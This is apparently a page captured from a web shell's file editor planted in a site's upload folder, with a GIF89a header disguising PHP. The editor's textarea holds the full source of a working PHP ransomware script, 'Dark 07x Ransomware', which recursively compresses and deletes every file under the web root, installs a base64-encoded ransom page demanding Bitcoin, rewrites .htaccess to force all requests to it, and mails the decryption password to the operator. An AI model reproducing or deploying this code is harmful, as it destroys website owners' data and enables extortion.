GIF89a;
<h2>Edit File - 07x.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="C:\inetpub\vhosts\rjinfotechindia.com\americcoholidays.com\admin\upload\gallery\07x.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;title&gt;Hacked By Jokeir 07x&lt;/title&gt;
&lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;https://a.top4top.io/s_33486ny4m0.png&quot;&gt;
&lt;style&gt;
html {
    background: url(&#039;https://e.top4top.io/p_31763qqk31.gif&#039;) no-repeat center center fixed;
    background-size: cover;
    color: green;
}
input { 
    background: transparent; 
    color: white; 
    border: 1px solid white; 
}
&lt;/style&gt;
&lt;?php
error_reporting(0);
set_time_limit(0);
ini_set(&#039;memory_limit&#039;, &#039;-1&#039;);
if(isset($_POST[&#039;pass&#039;])) {
function encfile($filename){
	if (strpos($filename, &#039;.crypt&#039;) !== false) {
    return;
	}
	file_put_contents($filename.&quot;.crypt&quot;, gzdeflate(file_get_contents($filename), 9));
	unlink($filename);
copy(&#039;.htaccess&#039;,&#039;.htabackup&#039;);
$file = base64_decode(&quot;PHRpdGxlPkRhcmsgMDd4IFJhbnNvbXdhcmU8L3RpdGxlPgo8bGluayByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIgaHJlZj0iaHR0cHM6Ly9hLnRvcDR0b3AuaW8vc18zMzQ4Nm55NG0wLnBuZyI+CjxzdHlsZT4KaHRtbCB7CiAgYmFja2dyb3VuZDogdXJsKCdodHRwczovL2UudG9wNHRvcC5pby9wXzMxNzYzcXFrMzEuZ2lmJykgbm8tcmVwZWF0IGNlbnRlciBjZW50ZXIgZml4ZWQ7CiAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsKICBjb2xvcjogZ3JlZW47Cn0KaW5wdXQgewogIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogIGNvbG9yOiB3aGl0ZTsKICBib3JkZXI6IDFweCBzb2xpZCB3aGl0ZTsKfQo8L3N0eWxlPgo8P3BocAplcnJvcl9yZXBvcnRpbmcoMCk7CiRpbnB1dCA9ICRfUE9TVFsncGFzcyddOwokcGFzcyA9ICJqYW5jb2tqYXJhbiI7CmlmKGlzc2V0KCRpbnB1dCkpIHsKICBpZihtZDUoJGlucHV0KSA9PSAkcGFzcykgewogICAgZnVuY3Rpb24gZGVjZmlsZSgkZmlsZW5hbWUpewogICAgICBpZiAoc3RycG9zKCRmaWxlbmFtZSwgJy5jcnlwdCcpID09PSBGQUxTRSkgewogICAgICAgIHJldHVybjsKICAgICAgfQogICAgICAkZGVjcnlwdGVkID0gZ3ppbmZsYXRlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlbmFtZSkpOwogICAgICBmaWxlX3B1dF9jb250ZW50cyhzdHJfcmVwbGFjZSgnLmNyeXB0JywgJycsICRmaWxlbmFtZSksICRkZWNyeXB0ZWQpOwogICAgICB1bmxpbmsoJ2NyeXB0LnBocCcpOwogICAgICB1bmxpbmsoJy5odGFjY2VzcycpOwogICAgICB1bmxpbmsoJGZpbGVuYW1lKTsKICAgICAgZWNobyAiJGZpbGVuYW1lIERlY3J5cHRlZCAhISE8YnI+IjsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNkaXIoJGRpcil7CiAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgYXJyYXkoJy4nLCAnLi4nKSk7CiAgICAgIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYoaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSl7CiAgICAgICAgICBkZWNkaXIoJGRpci4iLyIuJGZpbGUpOwogICAgICAgIH1lbHNlIHsKICAgICAgICAgIGRlY2ZpbGUoJGRpci4iLyIuJGZpbGUpOwogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIGRlY2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTsKICAgIGVjaG8gIjxicj5XZWJyb290IERlY3J5cHRlZDxicj4iOwogICAgdW5saW5rKCRfU0VSVkVSWydQSFBfU0VMRiddKTsKICAgIHVubGluaygnLmh0YWNjZXNzJyk7CiAgICBjb3B5KCdodGFiYWNrdXAnLCcuaHRhY2Nlc3MnKTsKICAgIGVjaG8gJ1N1Y2Nlc3MgISEhJzsKICB9IGVsc2UgewogICAgZWNobyAnRmFpbGVkIFBhc3N3b3JkICEhISc7CiAgfQogIGV4aXQoKTsKfQo/Pgo8Y2VudGVyPgo8aDE+RGFyayAwN3ggUmFuc29td2FyZTwvaDE+CjxpbWcgaGVpZ2h0PSIyMDAiIHNyYz0iaHR0cHM6Ly9hLnRvcDR0b3AuaW8vc18zMzQ4Nm55NG0wLnBuZyIvPgo8YnI+PGJyPgo8aDM+WW91ciBXZWJzaXRlIElzIEVuY3J5cHRlZCBCeSBKb2tlaXIgMDd4PC9oMz4KCkRvbid0IENoYW5nZSB0aGUgRmlsZW5hbWUgYmVjYXVzZSBpdCBDYW4gRGFtYWdlIHRoZSBGaWxlIElmIFlvdSBXYW50IHRvIFJldHVybiBZb3UgTXVzdCBFbnRlciB0aGUgUGFzc3dvcmQgRmlyc3QKPGJyPgpTZW5kIE1lICQzIEZvciBCYWNrIFlvdXIgV2Vic2l0ZSAoRG9uJ3QgcGxheSB3aXRoIGZpcmUpIDxicj48YnI+CkJpdGNvaW4gQWRkcmVzcyA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiB2YWx1ZT0iV2xlY29tZSBUbyBEYXJrIDA3eCIgcmVhZG9ubHk+Cjxicj48YnI+Cjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVjcnlwdCI+CjwvZm9ybT4KPGJyPkNvbnRhY3QgTWFpbCA6IEpva2VpcnhAZ21haWwuY29tCg==&quot;);
$q = str_replace(&#039;dark07x&#039;, md5($_POST[&#039;pass&#039;]), $file);
$w = str_replace(&#039;jokeirx@gmail.com&#039;, $_POST[&#039;email&#039;], $q);
$e = str_replace(&#039;jokeir07x&#039;, $_POST[&#039;btc&#039;], $w);
$r = str_replace(&#039;$3&#039;, &#039;$&#039;.$_POST[&#039;price&#039;], $e);
$dec = $r;
$comp = &quot;&lt;?php eval(&#039;?&gt;&#039;.base64_decode(&quot;.&quot;&#039;&quot;.base64_encode($dec).&quot;&#039;&quot;.&quot;).&#039;&lt;?php &#039;); ?&gt;&quot;;
$cok = fopen(&#039;crypt.php&#039;, &#039;w&#039;);
fwrite($cok, $comp);
fclose($cok);
$hta = &quot;DirectoryIndex crypt.php\n
ErrorDocument 403 /crypt.php\n
ErrorDocument 404 /crypt.php\n
ErrorDocument 500 /crypt.php\n&quot;;
$ht = fopen(&#039;.htaccess&#039;, &#039;w&#039;);
fwrite($ht, $hta);
fclose($ht);
echo &quot;$filename Encrypted !!!&lt;br&gt;&quot;;
}

function encdir($dir){
	$files = array_diff(scandir($dir), array(&#039;.&#039;, &#039;..&#039;));
		foreach($files as $file) {
			if(is_dir($dir.&quot;/&quot;.$file)){
				encdir($dir.&quot;/&quot;.$file);
			} else {
				encfile($dir.&quot;/&quot;.$file);
				
		}
	}
}

if(isset($_POST[&#039;pass&#039;])){
	encdir($_SERVER[&#039;DOCUMENT_ROOT&#039;]);
}
copy(&#039;crypt.php&#039;, $_SERVER[&#039;DOCUMENT_ROOT&#039;].&#039;/crypt.php&#039;);
copy(&#039;.htaccess&#039;, $_SERVER[&#039;DOCUMENT_ROOT&#039;].&#039;.htaccess&#039;);
copy($_SERVER[&#039;DOCUMENT_ROOT&#039;].&#039;.htaccess&#039;, $_SERVER[&#039;DOCUMENT_ROOT&#039;].&#039;.htabackup&#039;);
$to = $_POST[&#039;email&#039;];
$subject = &#039;Your Ransomware Info&#039;;
$message = &quot;Domain : &quot;.$_SERVER[&#039;HTTP_ADDR&#039;].&quot;\n\n&quot;.&quot;Your Password : &quot;.$_POST[&#039;pass&#039;];
if(mail($to,$subject,$message)) {
echo &#039;Password Saved In Your Mail !!!&#039;;
} else {
echo &#039;Password Not In Your Mail !!!&#039;;
}
exit();
}
?&gt;
&lt;center&gt;
&lt;h1&gt;Welcome To Dark 07x Ransomware&lt;/h1&gt;
&lt;img height=&quot;200&quot; src=&quot;https://a.top4top.io/s_33486ny4m0.png&quot;/&gt;
&lt;br&gt;&lt;br&gt;&lt;h3&gt;Information Server :&lt;/h3&gt;
Path File : &lt;font color=&quot;red&quot;&gt;&lt;?php echo $_SERVER[&#039;SCRIPT_FILENAME&#039;] ; ?&gt;&lt;/font&gt;&lt;br&gt;
Disable Function : &lt;font color=&quot;red&quot;&gt;&lt;?php $ds = @ini_get(&quot;disable_functions&quot;); $show_ds = (!empty($ds)) ? &quot;$ds&quot; : &quot;NONE&quot;; echo $show_ds; ?&gt;&lt;/font&gt;
Mail Function : &lt;font color=&quot;red&quot;&gt;&lt;?php if(mail(&#039;jokeirx@gmail.com&#039;,&#039;tes&#039;,&#039;tes&#039;)) { echo &quot;ON&quot;; } else { echo &quot;ON&quot;; } ?&gt;&lt;/font&gt;
&lt;br&gt;&lt;Br&gt;
&lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&gt;
Password Encrypt : &lt;input type=&quot;text&quot; name=&quot;pass&quot;&gt; Your Email : &lt;input type=&quot;text&quot; name=&quot;email&quot;&gt;
&lt;br&gt;&lt;br&gt;
Your Bitcoin Address : &lt;input type=&quot;text&quot; name=&quot;btc&quot;&gt; Your Price : &lt;input type=&quot;text&quot; name=&quot;price&quot;&gt;
&lt;br&gt;&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;Encrypt&quot;&gt;
&lt;/form&gt;</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/admin/upload/gallery/c067e7a1bfea76618615016f6d3c9aff.php?dir=." class="btn gray">Kembali</a>
              </form>